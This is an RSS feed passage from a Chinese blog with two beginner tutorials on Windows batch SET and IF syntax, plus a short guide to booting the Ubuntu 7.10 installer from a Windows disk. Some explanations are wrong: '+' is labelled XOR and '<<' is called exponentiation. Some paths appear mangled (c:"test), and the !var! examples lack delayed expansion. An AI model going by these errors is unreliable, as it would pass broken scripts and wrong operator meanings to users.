在批处理中我们要引用这个变就把var变量名用两个%(百分号)扩起来,如%var%<br />
<br />
<br />
这种SET语法只能直接在BAT代码的提前赋予变量的值,有时候我们需要提供一个交互界面,让<br />
用户自己输入变量的值,然后我们在来根据这个值来做相应操作,现在我就来说说这SET的这<br />
种语法,只需要加一个"/P"参数就可以了!<br />
<br />
例子:<br />
@echo off<br />
set /p var=请输入变量的值: <br />
if %var% == 1 echo 您输入了 1 ~_~ <br />
pause<br />
<br />
set /p 是命令语法&nbsp;&nbsp;var是变量名&nbsp; &nbsp; =号右边的"请输入变量的值: ",这个是提示语,不是变<br />
<br />
量的值了!<br />
运行后,我们在提示语后面直接输入1,就会显示一行您输入了 1 ~_~ ,输入别的就没有任何反<br />
<br />
映!<br />
<br />
好了,先回顾到这,现在讲SET其他功能<br />
<br />
使用set /?查看SET的帮助我们发现SET除了我上面讲的<br />
SET [variable=[string]]<br />
SET /P variable=[promptString]<br />
这两种语法外,还有如下几种语法:<br />
SET /A expression<br />
环境变量替换已如下增强:<br />
%PATH:str1=str2%<br />
%PATH:~10,5%<br />
%PATH:~-10%<br />
%PATH:~0,-2%<br />
<br />
这机种语法有什么用处呢?现在我们来一个个讲解他们!<br />
<br />
SET /A expression&nbsp;&nbsp;<br />
/A 命令行开关指定等号右边的字符串为被评估的数字表达式。该表达式<br />
评估器很简单并以递减的优先权顺序支持下列操作:<br />
&nbsp; &nbsp; ()&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;- 分组<br />
&nbsp; &nbsp; ! ~ -&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;- 一元运算符<br />
&nbsp; &nbsp; * / %&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;- 算数运算符<br />
&nbsp; &nbsp; + -&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;- 算数运算符<br />
&nbsp; &nbsp; &amp;lt;&amp;lt; &amp;gt;&amp;gt;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;- 逻辑移位<br />
&nbsp; &nbsp; &amp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; - 按位&#8220;与&#8221;<br />
&nbsp; &nbsp; ^&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; - 按位&#8220;异&#8221;<br />
&nbsp; &nbsp; |&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; - 按位&#8220;或&#8221;<br />
&nbsp; &nbsp; = *= /= %= += -=&nbsp; &nbsp; - 赋值<br />
&nbsp; &nbsp;&nbsp; &nbsp;&amp;= ^= |= &amp;lt;&amp;lt;= &amp;gt;&amp;gt;=<br />
&nbsp; &nbsp; ,&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; - 表达式分隔符<br />
<br />
<br />
上面这些是系统帮助里的内容,看着是不是有点晕,没关系我来简单解释一下:<br />
set的/A参数就是让SET可以支持数学符号进行加减等一些数学运算!<br />
<br />
现在开始举例子介绍这些数学符号的用法:<br />
看例子 这里的例子请直接在CMD下拷贝命令运行,不需要保存为BAT!<br />
set /a var=1 + 1&nbsp;&nbsp;<br />
set /a 语法, var变量名 1 + 1 数学式子<br />
<br />
拷贝运行后会直接显示一个2,或者运行完后我们输入echo %var%,也是二,这就是<br />
一个简单的加法运算!<br />
<br />
set /a var=2 - 1&nbsp;&nbsp;结果是多少呢?如果你看不到结果就echo %var%.....<br />
set /a var=2 * 2 乘法运算<br />
set /a var=2 / 2 除法运算<br />
set /a var=(1+1) + (1+1) 结果等于4 看得懂吧!<br />
set /a a=1+1,b=2+1,c=3+1&nbsp;&nbsp;运行后会显示一个4,但我们用<br />
echo %a% %b% %c%后看结果,会发现其他数学运算也有效果!,这就是"斗"号的<br />
作用!<br />
有时候我们需要直接在原变量进行加减操作就可以用这种语法<br />
set /a var+=1&nbsp;&nbsp;这样的语法对应原始语法就是set /a var = %var% + 1<br />
都是一样的结果,在原变量的值上在进行数学运算,不过这样写简单一点<br />
在来一个:&nbsp;&nbsp;<br />
set /a var*=2 <br />
其他都这么用,只要帮助里有这个语法!<br />
<br />
另外还有一些用逻辑或取余操作符,这些符号,按照上面的使用方法会报错的<br />
<br />
比如我们在CMD里输入set /a var=1 &amp; 1 "与运算",他并不会显示为1,而是报错,<br />
为什么?对于这样的"逻辑或取余操作符",我们需要把他们用双引号引起来,看例子<br />
<br />
set /a var= 1 "&amp;" 1 这样结果就显示出来了,其他逻辑或取余操作符用法<br />
set /a var= 1 "+" 1 异运算<br />
set /a var= 1 "%" 1&nbsp;&nbsp;取模运算<br />
set /a var= 2 "&amp;lt;&amp;lt;" 2 次方运算<br />
set /a var= 4 "&amp;gt;&amp;gt;" 2 这个不太记得数学里的叫法....<br />
还有几个数学不太行,搞不清楚了....不列出来了,<br />
这些符号也可以用&amp;= ^= |= &amp;lt;&amp;lt;= &amp;gt;&amp;gt;= 这样的简单用法如<br />
set /a var"&amp;=" 1 等于set /a var = %var% "&amp;" 1 注意引号<br />
<br />
好符号说到这,现在说%PATH:str1=str2%<br />
这个是替换变量值的内容,看例子<br />
@echo off<br />
set a= bbs.verybat.cn<br />
echo 替换前的值: "%a%"<br />
set var=%a: =%<br />
echo 替换后的值: "%var%"<br />
pause<br />
<br />
对比一下,我们发现他把变量%a%的空格给替换掉了,从这个例子,我们就可以发现<br />
%PATH:str1=str2%这个操作就是把变量%PATH%的里的str1全部用str2替换<br />
<br />
比如我们把上面的例子改成这样<br />
@echo off<br />
set a=bbs.verybat.cn<br />
echo 替换前的值: "%a%"<br />
set var=%a:.=伤脑筋%<br />
echo 替换后的值: "%var%"<br />
pause<br />
<br />
解释set var=%a:.=伤脑筋%<br />
&nbsp; &nbsp; set命令 var变量名 字a是要进行字符替换的变量的值,"."为要替换的值,<br />
"伤脑筋"为替换后的值!<br />
执行后就会把变量%a%里面的"."全部替换为"伤脑筋"<br />
这就是set的替换字符的很好的功能!先讲到这<br />
<br />
%PATH:~10,5%&nbsp;&nbsp;这个什么意思,看例子:<br />
<br />
@echo off<br />
set a=bbs.verybat.cn<br />
set var=%a:~1,2%<br />
echo %var%<br />
pause<br />
<br />
执行后,我们会发现只显示了"bs"两个字母,我们的变量%a%的值不是为bbs.verybat.cn吗<br />
怎么只显示了第2个字母和第3个字母"bs",分析一结果我们就可以很容易看出<br />
%PATH:~10,5%就是显示变量PATH里指定几位的值!<br />
分析set var=%a:~1,2%<br />
&nbsp;&nbsp;set命令 var变量值&nbsp;&nbsp;a要进行字符操作的变量 "1"从变量"a"第几位开始显示 "2"显示几位<br />
和起来就是把变量a的值从第一位开始,把后两位赋予给变量var<br />
就样因该明白了吧~<br />
<br />
其他两种语法<br />
%PATH:~-10%<br />
%PATH:~0,-2%<br />
他们也是显示指定变量指定几位的值得的意思<br />
<br />
%PATH:~-10% 例子<br />
<br />
@echo off<br />
set a=bbs.verybat.cn<br />
set var=%a:~-3%<br />
echo %var%<br />
pause<br />
这个就是把变量a倒数3位的值给变量VAR<br />
<br />
当然我们也可以改成这样<br />
@echo off<br />
set a=bbs.verybat.cn<br />
set var=%a:~3%<br />
echo %var%<br />
pause<br />
<br />
这个就是把变量a的从第3位开始后面全部的值给变量VAR<br />
<br />
%PATH:~0,-2%&nbsp;&nbsp;例子<br />
<br />
@echo off<br />
set a=bbs.verybat.cn<br />
set var=%a:~0,-3%<br />
echo %var%<br />
pause<br />
执行后,我们发现显示的是"bbs.verybat",少了".cn"<br />
从结果分析,很容易分析出,这是把变量a的值从0位开始,<br />
到倒数第三位之间的值全部赋予给var<br />
<br />
如果改成这样<br />
<br />
@echo off<br />
set a=bbs.verybat.cn<br />
set var=%a:~2,-3%<br />
echo %var%<br />
pause<br />
那么他就是显示从第2位开始减去倒数三位字符的值,并赋予给变量var<br />
<br />
<br />
好了set的一些用法,就介绍到这了,希望对各位有所帮助,时间不早睡觉Zz....<br />
<br />
&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; by 伤脑筋<br />
<br />
<h2>if命令讲解</h2>
<br />
最近发现有些朋友一老问IF命令的用法,IF命令个人觉得很简单,所以就一直没把发放到新手教学贴里说,现在我给补上一文,希望对各位"非常BAT的"新手朋友们有所帮助.<br />
<br />
<br />
现在开始:<br />
&nbsp; &nbsp; <br />
在CMD使用IF /?打开IF的系统帮助(自己看我就不全部列出来了),我们会发现IF有3种基本的用法!<br />
<br />
IF [NOT] ERRORLEVEL number command<br />
IF [NOT] string1==string2 command<br />
IF [NOT] EXIST filename command<br />
<br />
<br />
首先来讲第一种用法 IF [NOT] ERRORLEVEL number command<br />
<br />
这个用法的基本做用是判断上一条命令执行结果的代码,以决定下一个步骤.<br />
一般上一条命令的执行结果代码只有两结果,"成功"用0表示&nbsp;&nbsp;"失败"用1表示.<br />
<br />
举个例子:<br />
@echo off<br />
net user<br />
IF %ERRORLEVEL% == 0 echo net user 执行成功了!<br />
pause<br />
<br />
这是个简单判断上条命令是否执行成功.<br />
细心的朋友可能会发现,这个用法和帮助里的用法不太一样,按照帮助里的写法"IF %ERRORLEVEL% == 0 echo net user 执行成功了!&nbsp;&nbsp;"这一句代码因该写成:IF ERRORLEVEL 0 echo net user 执行成功了!<br />
那为什么我要写成这样呢?各位自己把代码改掉执行后,就会发现错误了!用这种语法,不管你的上面的命令是否执行成功,他都会认为命令成功了,不知道是BUG还是本人理解错误...<br />
%ERRORLEVEL% 这是个系统变量,返回上条命令的执行结果代码! "成功"用0表示&nbsp;&nbsp;"失败"用1表示. 当然还有其他参数,用的时候基本就这两数字.<br />
<br />
在举几个例子给新手理解<br />
@echo off<br />
net usertest<br />
IF %ERRORLEVEL% == 1 echo net user 执行失败了!<br />
pause<br />
<br />
这个是判断上一条命令是否执行失败的<br />
<br />
@echo off<br />
set /p var=随便输入个命令: <br />
%var%<br />
if %ERRORLEVEL% == 0 goto yes<br />
goto no<br />
:yes<br />
echo !var! 执行成功了<br />
pause<br />
exit<br />
:no<br />
echo 基本上执行失败了..<br />
pause<br />
<br />
这个是根据你输入的命令,自动判断是成功还是失败了!<br />
<br />
<br />
在来一个简化版的<br />
@echo off<br />
set /p var=随便输入个命令: <br />
%var%<br />
if %ERRORLEVEL% == 0 (echo %var%执行成功了) ELSE echo %var%执行失败了!<br />
pause<br />
<br />
else后面写上执行失败后的操作!<br />
<br />
当然我门还可以把if else这样的语句分成几行写出来,使他看上去好看点...<br />
@echo off<br />
set /p var=随便输入个命令: <br />
%var%<br />
if %ERRORLEVEL% == 0&nbsp;&nbsp;(<br />
&nbsp; &nbsp;echo !var! 执行成功了<br />
&nbsp; &nbsp;) ELSE (<br />
&nbsp; &nbsp;echo 基本上执行失败了..<br />
&nbsp; &nbsp;)<br />
pause<br />
<br />
<br />
这里介绍的两种简写对IF的三种语法都可以套用,不单单是在IF [NOT] ERRORLEVEL number command<br />
这种法上才能用<br />
<br />
<br />
现在来说第二种用法IF [NOT] string1==string2 command<br />
这个呢就是用来比较变量或者字符的值是不是相等的.<br />
<br />
例子<br />
@echo off<br />
set /p var=请输入第一个比较字符: <br />
set /p var2=请输入第二个比较字符: <br />
if %var% == %var2% (echo 我们相等) ELSE echo 我们不相等<br />
pause<br />
<br />
上面这个例子可以判断你输入的值是不是相等,但是你如果输入相同的字符,但是如果其中一个后面打了一个空格,<br />
这个例子还是会认为相等,如何让有空格的输入不相等呢?我们在比较字符上加个双引号就可以了.<br />
@echo off<br />
set /p var=请输入第一个比较字符: <br />
set /p var2=请输入第二个比较字符(多输入个空格试试): <br />
if "%var%" == "%var2%" (echo 我们相等) ELSE echo 我们不相等<br />
pause<br />
<br />
<br />
<br />
第三种用法IF [NOT] EXIST filename command<br />
这个就是判断某个文件或者文件夹是否存在的语法<br />
<br />
例子<br />
@echo off<br />
if exist "c:"test" (echo 存在文件) ELSE echo 不存在文件<br />
pause<br />
<br />
判断的文件路径加引号是为了防止路径有空格,如果路径有空格加个双引号就不会出现判断出错了!<br />
<br />
这个语法没什么太多的用法,基本就这样了,就不多介绍了.<br />
<br />
另外我们看到每条IF用法后都有个[NOT]语句,这啥意思?其他加上他的话,就表示先判断我们的条件不成立时,<br />
没加他默认是先判断条件成立时,比如上面这个例子<br />
@echo off<br />
if not exist "c:"test" (echo 存在文件) ELSE echo 不存在文件<br />
pause<br />
<br />
加个NOT,执行后有什么结果,如果你的C盘下更本就没c:"test,他还是会显示"存在文件",这就表示了加了NOT就<br />
会先判断条件失败!懂了吧,上面例子改成这样就正确了!<br />
@echo off<br />
if not exist "c:"test" (echo 不存在文件) ELSE echo 存在文件<br />
pause<br />
<br />
另外IF还有一些增强的用法,如下<br />
&nbsp;&nbsp;IF [/I] string1 compare-op string2 command<br />
&nbsp;&nbsp;IF CMDEXTVERSION number command<br />
&nbsp;&nbsp;IF DEFINED variable command<br />
<br />
后面两个用法,我不做介绍,因为他们和上面的用法表示的意义基本一样,只简单说说&nbsp;&nbsp;IF [/I] string1 compare-op string2 command这个语句在判断字符时不区分字符的大小写,看这两个例子<br />
<br />
@echo off<br />
if a == A (echo 我们相等) ELSE echo 我们不相等<br />
pause<br />
<br />
执行后会显示我们不相等<br />
<br />
@echo off<br />
if /i a == A (echo 我们相等) ELSE echo 我们不相等<br />
pause<br />
<br />
加上/I不区分大小写就相等了!<br />
<br />
最后面还有一些用来判断数字的符号<br />
<br />
EQU - 等于<br />
NEQ - 不等于<br />
LSS - 小于<br />
LEQ - 小于或等于<br />
GTR - 大于<br />
GEQ - 大于或等于<br />
<br />
我几举一个例子,大家都懂数学...不讲多了<br />
@echo off<br />
set /p var=请输入一个数字: <br />
if %var% LEQ&nbsp;&nbsp;4 (echo 我小于等于4) ELSE echo 我不小于等于4<br />
pause<br />
<br />
<br />
&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;BY 伤脑筋<br />
<br />
<br />
<img src ="http://www.blogjava.net/yjjlovewjf/aggbug/177151.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/yjjlovewjf/" target="_blank">wǒ愛伱--咾婆 </a> 2008-01-22 22:57 <a href="http://www.blogjava.net/yjjlovewjf/archive/2008/01/22/177151.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>在Windows系统上硬盘安装Desktop版的Ubuntu 7.10的引导过程</title><link>http://www.blogjava.net/yjjlovewjf/archive/2008/01/20/176566.html</link><dc:creator>wǒ愛伱--咾婆 </dc:creator><author>wǒ愛伱--咾婆 </author><pubDate>Sun, 20 Jan 2008 02:43:00 GMT</pubDate><guid>http://www.blogjava.net/yjjlovewjf/archive/2008/01/20/176566.html</guid><wfw:comment>http://www.blogjava.net/yjjlovewjf/comments/176566.html</wfw:comment><comments>http://www.blogjava.net/yjjlovewjf/archive/2008/01/20/176566.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/yjjlovewjf/comments/commentRss/176566.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/yjjlovewjf/services/trackbacks/176566.html</trackback:ping><description><![CDATA[<p>在Windows系统上硬盘安装Desktop版的Ubuntu 7.10的引导过程</p>
<p>1）下载安装所需要的引导文件(帐号：ubuntu,密码：ubuntuftp)，http://ftp.ubuntu.org.cn/gnix_oag/boot_livecd_from_hd/gutsy/bhd_i386_2.6.22-14g-ntfs.tar.gz<br />
从官方下载7.10的ISO文件：<br />
http://releases.ubuntu.com/gutsy/ubuntu-7.10-desktop-i386.iso</p>
<p>2）解压下载的引导文件，把解压出来的boot文件夹，grldr文件和menu.lst文件复制到C盘根目录下</p>
<p>3）打开C盘根目录下的boot.ini文件，在最后加上一行c:\grldr=" Ubuntu Linux",具体可以参阅引导文件包解压出来的boot.ini.txt文件</p>
<p>4）在任意一个根目录下新建一个文件夹，并重命名为gutsy，把下载的ubuntu-7.10-desktop-i386.iso放进去gutsy文件夹</p>
<p>5）重启电脑，选择&#8220;Ubuntu Linux" 进行安装，Ubuntu的安装可以参阅其他的资料</p>
<img src ="http://www.blogjava.net/yjjlovewjf/aggbug/176566.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/yjjlovewjf/" target="_blank">wǒ愛伱--咾婆 </a> 2008-01-20 10:43 <a href="http://www.blogjava.net/yjjlovewjf/archive/2008/01/20/176566.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss>